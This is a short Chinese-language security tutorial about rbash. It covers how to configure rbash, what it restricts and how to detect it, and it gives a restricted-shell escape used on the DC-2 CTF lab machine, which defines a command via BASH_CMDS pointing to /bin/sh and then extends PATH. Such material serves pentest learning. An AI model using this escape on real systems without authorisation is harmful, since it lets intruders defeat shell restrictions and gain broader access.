总目录:有勇气的牛排 — 攻防
1 rbash介绍
-
rbash 与一般shell的区别在于会限制一些行为,让一些命令无法执行。
-
如何设置rbash
cp /bin/bash /bin/rbash # 复制一个bash,重命名为rbash useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令
-
rbash限制
(1)不能使用cd命令(意味着不能更改目录)
(2)不能设置或取消环境变量:SHELL, PATH, ENV, BASH_ENV
(3)导入功能受限
(4)指定包含参数’/‘或’-‘的文件名(即命名中不能包含 ‘/ ’ 或’-’)
(5)不能使用使用 >,>|, <>, >&, &>, >> 等重定向操作符
(6)不能使用’set + r’或’set + o’关闭
从上边这些限制可知rbash的存在是为了提高安全性,但是严重影响了我们在目标机器上的信息收集,以及常用的反弹shell(大部分需要用到重定向符)
2 检查当前shell是否为rbash
cd ..
cd /home
输出:-rbash: cd: restricted
echo $PATH
ls /home/tom/usr/bin
输出:有限的可用命令列表
3 常见的逃逸案例
3.1 shell逃逸 另类方法(DC-2靶机)
# 利用bash_cmds自定义一个shell
BASH_CMDS[a]=/bin/sh;a
# 添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
参考:
https://blog.csdn.net/qq_43168364/article/details/111830233
rbash逃逸大全:https://xz.aliyun.com/t/7642